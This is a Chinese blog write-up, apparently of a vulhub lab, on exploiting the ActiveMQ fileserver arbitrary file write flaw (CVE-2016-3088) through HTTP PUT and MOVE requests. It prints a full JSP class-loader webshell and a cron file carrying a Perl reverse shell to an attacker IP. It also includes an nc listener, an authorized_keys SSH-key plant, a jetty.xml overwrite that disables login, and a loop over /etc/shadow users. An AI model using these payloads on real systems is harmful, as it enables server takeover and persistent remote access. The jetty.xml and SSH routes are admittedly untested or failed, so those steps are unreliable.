CVE-2016-3088-ActiveMQ任意文件写入漏洞
本文Ref:blog.csdn.net/elephantxia…
背景简述
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
- 其使用率并不高
- 文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
漏洞详情
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
- 写入webshell
- 写入cron或ssh key等文件
- 写入jar或jetty.xml等库和配置文件
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
分别说一下上述几种利用方法。
途径1:写入webshell(需登录)
前提条件
- 需要知道ActiveMQ的绝对路径
- 需要能登录admin或者api
思路分析
由于要满足以上两个前提条件,并且ActiveMQ的绝对路径可以通过http://your-ip:8161/admin/test/systemProperties.jsp页面获取,而这个页面也需要登录admin之后才能访问。因此,应该按照如下步骤实施攻击:
- 获取admin应用的用户名和密码
- 访问http://your-ip:8161/admin/test/systemProperties.jsp获取ActiveMQ的绝对路径
- 上传webshell
- 将webshell移动到admin所在文件夹
- 连接webshell
利用步骤
1、获取admin应用的用户名和密码 不是重点,不详细说了,而且这个步骤放在这篇文章里完全是为了攻击链的完整性,其实vulhub的教程已经说了默认用户名和密码都是admin。 我能想到的几种获取用户名和密码的方法:
- 尝试默认用户名和密码
- 尝试弱口令(暴力破解)
- 社工
2、获取ActiveMQ的绝对路径 得到admin应用的用户名和密码之后,就可以访问网页http://your-ip:8161/admin/test/systemProperties.jsp来获取ActiveMQ的绝对路径了,具体见下图红框框。
3、上传webshell 先得把webshell上传到fileserver,之后才能从fileserver转移。由于ActiveMQ是个java程序,因此需要传个jsp webshell。 在网上找了个jsp webshell:蚁剑jsp一句话木马 用PUT方法把webshell上传到fileserver:
PUT /fileserver/ele.txt HTTP/1.1
Host: 192.11.23.2:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 779
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
Response报文状态码204表示上传成功:
4、将webshell移动到admin所在文件夹 用MOVE方法进行webshell的移动
MOVE /fileserver/ele.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/admin/ele.jsp
同样,直接修改上面数据包的前两行,Response报文状态码204表示移动成功:
5、连接webshell 这里用蚁剑演示一下,重点是记住admin应用是需要登录的,所以记得一定要在连接中添加Authorization头。 基础配置:
请求信息:
连接成功:
途径2:写入SSH KEY(未测试)
前提条件
- 需要运行ActiveMQ的用户有root权限
- 需要服务器开启了ssh服务,并且攻击机可以连接
可行性判断
-
访问网页:http://your-ip:8161/admin/test/systemProperties.jsp可以看到运行ActiveMQ的用户是root:
运行ActiveMQ的用户是root,而root对/etc/cron.d目录和jetty.xml文件都是有写权限的,因此理论上上传crontab文件,以及修改jetty.xml文件都应该是可实现的。
2. 使用nmap扫描端口。
注意:此处开启ssh的服务其实是搭载docker的服务器,而不是漏洞环境所在的docker容器。因此,这里无法通过ssh连接到docker容器内部。
操作流程
ssh免密登录主要涉及到几点内容
ssh-keygen -t rsa —— 用来生成rsa的公私钥—— id_rsa.pub
/etc/ssh/sshd_config 或者 /ssh_config
用户目录/.ssh/authorized_keys —– 用来存放攻击者的公钥
-
生成公私钥
kali上ssh-keygen -t rsa —– 生成id_rsa.pub
ssh-keygen -t rsa -
ssh localhost
在实际模拟环境操作中遇到ubuntu16.04、centos7以及凝思系统的当前用户目录下,本地sshd_conf文件内容为空或者无 /.ssh/known_hosts时,可以使用ssh localhost 这样即可出现文件;
其次,.ssh目录下还要存在authorized_keys,这个可以在move时创建并存放公钥
-
受害机的sshd_config要实现免密登录
RSAAuthentication yes PubkeyAuthentication yesStrictModes no —– 这个存在于centos的高版本中,默认这个是yes即为开启状态;在这种情况下必须关闭该参数。 RSA和Pubkey这两个选项,我做了一系列的测试,发现RSAAuthentication yes/no 都不影响最后的免密登录,只有PubkeyAuthentication这个参数必须设置为YES,不然免密操作会失败
-
使用PUT方法将攻击者的id_rsa.pub上传至受害者fileserver 再使用move移动到用户名/.ssh/authorized_keys —— ps:这里主要是因为docker下部署的环境容器下,未安装ssh服务导致的。
-
ssh 连接即可。
途径3:写入CRON拿反弹shell
前提条件
- 需要运行ActiveMQ的用户有root权限
- 服务器开启了cron服务
- 运行ActiveMQ的用户有使用crontab的权限
root权限已经满足。
Cron是一个守护进程,这意味着它在后台运行以执行非交互式任务。类似Windows后台进程中的服务。守护程序始终处于空闲状态,并等待命令请求执行某项任务 – 在计算机内或从网络上的任何其他计算机执行。cron文件是一个简单的文本文件,包含在特定时间运行的命令。
第3点在默认情况下是满足的,除非存在cron.allow或者cron.deny文件,但这两个文件在vulhub提供的漏洞环境中并不存在。因此本环境理论上可以通过写入cron拿反弹shell。
思路分析
这种方法思路就比较简单了:
- 上传cron文件到fileserver
- 把cron文件从fileserver转移到/etc/cron.d/ele
- 攻击机上开启监听并等待反弹shell连接
这个网页有反弹shell合集,可以参考:反弹shell的方法总结
需要注意以下三点:
1.首先是vulhub提示的cron配置文件中换行一定要\n,不能是\r\n,否则crontab执行会失败。这一点在下面的漏洞利用过程中没有体会到。 2.另外,/etc/cron.d 文件夹中的任务文件命名有特殊要求,只能使用 [\w-] 字符,不能有
.3.vulhub提供的示例中反弹shell用的是perl shell,这个反弹shell能成功的前提是服务器上安装了perl,另外,是否需要知道perl的绝对路径要看运气(看服务器上是否有相关的软链接)。 测试过程中我也尝试了cron文件中写bash反弹shell,但是反弹shell没有执行成功,目前还不知道是什么原因。网上搜索cron反弹shell的资料时,发现有人在其他环境上尝试bash反弹shell也没成功。
利用步骤
1、上传cron文件到fileserver payload如下,注意修改Host头
PUT /fileserver/ele.txt HTTP/1.1
Host: 192.11.23.2:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 249
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.11.23.28";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
请求数据部分是cron文件格式的perl反弹shell,*/1 * * * *表示定时任务执行时间是每分钟一次,root表示执行定时任务的用户,后面就是perl反弹shell的内容了。万一服务器上没有perl的软链接,就需要写perl的绝对路径了,比如/usr/bin/perl. 此外还要注意,反弹shell中的i 为攻击机 ip, i为攻击机ip,i为攻击机ip,p为攻击机监听的端口。 Response报文状态码204表示文件上传成功
还有一种就是可以在最后面加上
[空格], 并点击到hex栏,修改值为0a。
2、把cron文件从fileserver转移到/etc/cron.d/ele 用MOVE命令转移文件,payload如下:
MOVE /fileserver/ele.txt HTTP/1.1
Destination: file:///etc/cron.d/reverse_tcp
Host: 192.11.23.2:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 247
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.11.23.28";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Response报文状态码204表示文件转移成功
3、攻击机上开启监听并等待反弹shell连接 攻击机上用nc开监听,监听7777端口,命令如下:
nc -lvnp 7777
按道理来说,这里换成bash命令反弹也是可以的,但是就是定时任务就是不执行!搞不懂!
后面添加脚本测试,bash链接过来有点问题。
途径4:修改jetty.xml(未成功)
前提条件
- 需要知道ActiveMQ的绝对路径
- 需要有jetty.xml的写权限
思路分析
使用这种方法,主要是用来突破admin应用和api应用的访问控制限制。 vulhub给的思路是修改jetty.xml文件,使admin和api应用不用登录,然后写入webshell。后来查阅ActiveMQ的资料之后(activemq安全设置—设置admin的用户名和密码),觉得其实也可以修改jetty-realm.properties文件中的用户密码,不过由于jetty.xml中限制了用户名,所以修改jetty-realm.properties文件的方法还需要一个前提是知道用户名,两相比较,其实还是修改jetty.xml好多了。
使用这种方法,完整的攻击链是:
- 获得ActiveMQ的绝对路径
- 上传修改后的jetty.xml文件到fileserver
- 转移上传的jetty.xml文件到 ActiveMQ的绝对路径/conf/jetty.xml,以覆盖原本的jetty.xml文件,目的是绕过admin和api应用的用户认证。
- 上传webshell到fileserver
- 转移webshell到admin或者api应用
- 连接webshell
利用步骤
- 上传修改后的jetty.xml文件到fileserver 我修改了securityConstraint和adminSecurityConstraint中的authenticate,value从true改为false。
<bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC" />
<property name="roles" value="user,admin" />
<!-- set authenticate=false to disable login -->
<property name="authenticate" value="false" />
</bean>
<bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC" />
<property name="roles" value="admin" />
<!-- set authenticate=false to disable login -->
<property name="authenticate" value="false" />
</bean>
-
发送到fileserver,并移动位置用以覆盖原本的xml
绝对路径/conf/jetty.xml。PUT /fileserver/jetty.xml HTTP/1.1 Host: 192.11.23.2:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 583 <bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint"> <property name="name" value="BASIC" /> <property name="roles" value="user,admin" /> <!-- set authenticate=false to disable login --> <property name="authenticate" value="false" /> </bean> <bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint"> <property name="name" value="BASIC" /> <property name="roles" value="admin" /> <!-- set authenticate=false to disable login --> <property name="authenticate" value="false" /> </bean>
MOVE /fileserver/jetty.xml HTTP/1.1
Destination: file:///opt/activemq/conf/jetty.xml
Host: 192.11.23.2:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 583
<bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC" />
<property name="roles" value="user,admin" />
<!-- set authenticate=false to disable login -->
<property name="authenticate" value="false" />
</bean>
<bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC" />
<property name="roles" value="admin" />
<!-- set authenticate=false to disable login -->
<property name="authenticate" value="false" />
</bean>
已经成功禁用登录。实现登陆后台(后面发现是未清楚浏览器缓存)。
- 按照提交webshell的方式 上传一个webshell并转移到其他可执行目录
- 访问webshell
可以看到已经成功上传了,但其实修改的xml文件没有生效,所以在连接shell的时候,还是会报未认证的问题。
知识点补课
Cron是什么?利用Cron Job自动执行定时任务
Cron是一个实用程序,用于在特定的时间自动执行重复任务。
默认crontab文件是/ etc / crontab,位于crontab目录/etc/cron.*/.,只有系统管理员才能编辑系统crontab文件。但是,由于类Unix操作系统支持多个用户,每个用户还可以创建自己的crontab文件并启动命令以随时执行任务,cron守护程序将检查文件并在系统后台运行该命令。
遍历所有用户的定时任务:
for u in `cat /etc/shadow | cut -d":" -f1`;do crontab -l -u $u;done
反弹shell还不成功?
有个细节,因为linux下cron执行的原因,把文本尾改成\n换行符,即0a。
xml源文件
<!--
Licensed to the Apache Software Foundation (ASF) under one or more contributor
license agreements. See the NOTICE file distributed with this work for additional
information regarding copyright ownership. The ASF licenses this file to You under
the Apache License, Version 2.0 (the "License"); you may not use this file except in
compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or
agreed to in writing, software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied. See the License for the specific language governing permissions and
limitations under the License.
-->
<!--
An embedded servlet engine for serving up the Admin consoles, REST and Ajax APIs and
some demos Include this file in your configuration to enable ActiveMQ web components
e.g. <import resource="jetty.xml"/>
-->
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="securityLoginService" class="org.eclipse.jetty.security.HashLoginService">
<property name="name" value="ActiveMQRealm"/>
<property name="config" value="${activemq.conf}/jetty-realm.properties"/>
</bean>
<bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC"/>
<property name="roles" value="user,admin"/>
<!-- set authenticate=false to disable login -->
<property name="authenticate" value="true"/>
</bean>
<bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC"/>
<property name="roles" value="admin"/>
<!-- set authenticate=false to disable login -->
<property name="authenticate" value="true"/>
</bean>
<bean id="securityConstraintMapping" class="org.eclipse.jetty.security.ConstraintMapping">
<property name="constraint" ref="securityConstraint"/>
<property name="pathSpec" value="/api/*,/admin/*,*.jsp"/>
</bean>
<bean id="adminSecurityConstraintMapping" class="org.eclipse.jetty.security.ConstraintMapping">
<property name="constraint" ref="adminSecurityConstraint"/>
<property name="pathSpec" value="*.action"/>
</bean>
<bean id="securityHandler" class="org.eclipse.jetty.security.ConstraintSecurityHandler">
<property name="loginService" ref="securityLoginService"/>
<property name="authenticator">
<bean class="org.eclipse.jetty.security.authentication.BasicAuthenticator"/>
</property>
<property name="constraintMappings">
<list>
<ref bean="adminSecurityConstraintMapping"/>
<ref bean="securityConstraintMapping"/>
</list>
</property>
<property name="handler">
<bean id="sec" class="org.eclipse.jetty.server.handler.HandlerCollection">
<property name="handlers">
<list>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/admin"/>
<property name="resourceBase" value="${activemq.home}/webapps/admin"/>
<property name="logUrlOnStart" value="true"/>
</bean>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/fileserver"/>
<property name="resourceBase" value="${activemq.home}/webapps/fileserver"/>
<property name="logUrlOnStart" value="true"/>
<property name="parentLoaderPriority" value="true"/>
</bean>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/api"/>
<property name="resourceBase" value="${activemq.home}/webapps/api"/>
<property name="logUrlOnStart" value="true"/>
</bean>
<bean class="org.eclipse.jetty.server.handler.ResourceHandler">
<property name="directoriesListed" value="false"/>
<property name="welcomeFiles">
<list>
<value>index.html</value>
</list>
</property>
<property name="resourceBase" value="${activemq.home}/webapps/"/>
</bean>
<bean id="defaultHandler" class="org.eclipse.jetty.server.handler.DefaultHandler">
<property name="serveIcon" value="false"/>
</bean>
</list>
</property>
</bean>
</property>
</bean>
<bean id="contexts" class="org.eclipse.jetty.server.handler.ContextHandlerCollection"> </bean>
<bean id="jettyPort" class="org.apache.activemq.web.WebConsolePort" init-method="start">
<!-- the default port number for the web console -->
<property name="host" value="0.0.0.0"/>
<property name="port" value="8161"/>
</bean>
<bean id="Server" depends-on="jettyPort" class="org.eclipse.jetty.server.Server" init-method="start" destroy-method="stop">
<property name="connectors">
<list>
<bean id="Connector" class="org.eclipse.jetty.server.nio.SelectChannelConnector">
<!-- see the jettyPort bean -->
<property name="host" value="#{systemProperties['jetty.host']}"/>
<property name="port" value="#{systemProperties['jetty.port']}"/>
</bean>
<!--
Enable this connector if you wish to use https with web console
-->
<!--
<bean id="SecureConnector" class="org.eclipse.jetty.server.ssl.SslSelectChannelConnector">
<property name="port" value="8162" />
<property name="keystore" value="file:${activemq.conf}/broker.ks" />
<property name="password" value="password" />
</bean>
-->
</list>
</property>
<property name="handler">
<bean id="handlers" class="org.eclipse.jetty.server.handler.HandlerCollection">
<property name="handlers">
<list>
<ref bean="contexts"/>
<ref bean="securityHandler"/>
</list>
</property>
</bean>
</property>
</bean>
</beans>
只修改对应部分:
<!--
Licensed to the Apache Software Foundation (ASF) under one or more contributor
license agreements. See the NOTICE file distributed with this work for additional
information regarding copyright ownership. The ASF licenses this file to You under
the Apache License, Version 2.0 (the "License"); you may not use this file except in
compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or
agreed to in writing, software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied. See the License for the specific language governing permissions and
limitations under the License.
-->
<!--
An embedded servlet engine for serving up the Admin consoles, REST and Ajax APIs and
some demos Include this file in your configuration to enable ActiveMQ web components
e.g. <import resource="jetty.xml"/>
-->
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="securityLoginService" class="org.eclipse.jetty.security.HashLoginService">
<property name="name" value="ActiveMQRealm"/>
<property name="config" value="${activemq.conf}/jetty-realm.properties"/>
</bean>
<bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC"/>
<property name="roles" value="user,admin"/>
<!-- set authenticate=false to disable login -->
<property name="authenticate" value="false"/>
</bean>
<bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC"/>
<property name="roles" value="admin"/>
<!-- set authenticate=false to disable login -->
<property name="authenticate" value="false"/>
</bean>
<bean id="securityConstraintMapping" class="org.eclipse.jetty.security.ConstraintMapping">
<property name="constraint" ref="securityConstraint"/>
<property name="pathSpec" value="/api/*,/admin/*,*.jsp"/>
</bean>
<bean id="adminSecurityConstraintMapping" class="org.eclipse.jetty.security.ConstraintMapping">
<property name="constraint" ref="adminSecurityConstraint"/>
<property name="pathSpec" value="*.action"/>
</bean>
<bean id="securityHandler" class="org.eclipse.jetty.security.ConstraintSecurityHandler">
<property name="loginService" ref="securityLoginService"/>
<property name="authenticator">
<bean class="org.eclipse.jetty.security.authentication.BasicAuthenticator"/>
</property>
<property name="constraintMappings">
<list>
<ref bean="adminSecurityConstraintMapping"/>
<ref bean="securityConstraintMapping"/>
</list>
</property>
<property name="handler">
<bean id="sec" class="org.eclipse.jetty.server.handler.HandlerCollection">
<property name="handlers">
<list>
<!-- set authenticate=false to disable login to admin -->
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/admin"/>
<property name="resourceBase" value="${activemq.home}/webapps/admin"/>
<property name="logUrlOnStart" value="false"/>
</bean>
<!-- set authenticate=false to disable login to fileserver -->
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/fileserver"/>
<property name="resourceBase" value="${activemq.home}/webapps/fileserver"/>
<property name="logUrlOnStart" value="false"/>
<property name="parentLoaderPriority" value="true"/>
</bean>
<!-- set authenticate=false to disable login to api -->
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/api"/>
<property name="resourceBase" value="${activemq.home}/webapps/api"/>
<property name="logUrlOnStart" value="false"/>
</bean>
<bean class="org.eclipse.jetty.server.handler.ResourceHandler">
<property name="directoriesListed" value="false"/>
<property name="welcomeFiles">
<list>
<value>index.html</value>
</list>
</property>
<property name="resourceBase" value="${activemq.home}/webapps/"/>
</bean>
<bean id="defaultHandler" class="org.eclipse.jetty.server.handler.DefaultHandler">
<property name="serveIcon" value="false"/>
</bean>
</list>
</property>
</bean>
</property>
</bean>
<bean id="contexts" class="org.eclipse.jetty.server.handler.ContextHandlerCollection"> </bean>
<bean id="jettyPort" class="org.apache.activemq.web.WebConsolePort" init-method="start">
<!-- the default port number for the web console -->
<property name="host" value="0.0.0.0"/>
<property name="port" value="8161"/>
</bean>
<bean id="Server" depends-on="jettyPort" class="org.eclipse.jetty.server.Server" init-method="start" destroy-method="stop">
<property name="connectors">
<list>
<bean id="Connector" class="org.eclipse.jetty.server.nio.SelectChannelConnector">
<!-- see the jettyPort bean -->
<property name="host" value="#{systemProperties['jetty.host']}"/>
<property name="port" value="#{systemProperties['jetty.port']}"/>
</bean>
<!--
Enable this connector if you wish to use https with web console
-->
<!--
<bean id="SecureConnector" class="org.eclipse.jetty.server.ssl.SslSelectChannelConnector">
<property name="port" value="8162" />
<property name="keystore" value="file:${activemq.conf}/broker.ks" />
<property name="password" value="password" />
</bean>
-->
</list>
</property>
<property name="handler">
<bean id="handlers" class="org.eclipse.jetty.server.handler.HandlerCollection">
<property name="handlers">
<list>
<ref bean="contexts"/>
<ref bean="securityHandler"/>
</list>
</property>
</bean>
</property>
</bean>
</beans>
以为是配置文件的问题,改了里面好几处,但是都没有生效。
进入/opt/activemq/bin执行命令./activemq status查看activemq没有启动,restart后也不行,不知道是怎么运行的!